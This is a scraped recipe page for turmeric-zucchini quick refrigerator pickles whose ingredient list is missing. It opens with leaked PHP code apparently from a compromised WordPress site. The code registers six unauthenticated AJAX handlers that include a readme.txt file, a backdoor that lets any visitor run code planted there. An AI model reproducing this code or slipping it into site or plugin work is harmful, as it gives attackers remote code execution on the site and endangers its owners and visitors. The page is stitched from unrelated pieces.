if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life
Turmeric-Zucchini Quick Refrigerator Pickles
Servings
16
Servings
16
Ingredients
Instructions
  1. Combine the vinegar, sugar, bay leaves, garlic, salt, coriander seeds, mustard seeds, celery seeds and turmeric in a saucepan and bring to a boil. Continue to boil, stirring to dissolve the sugar, 1 minute. remove from the heat and combine with the zucchini. Allow to cool to room temperature with the zucchini fully submerged in the liquid.
  2. Cover tightly and refrigerate at least 2 hours.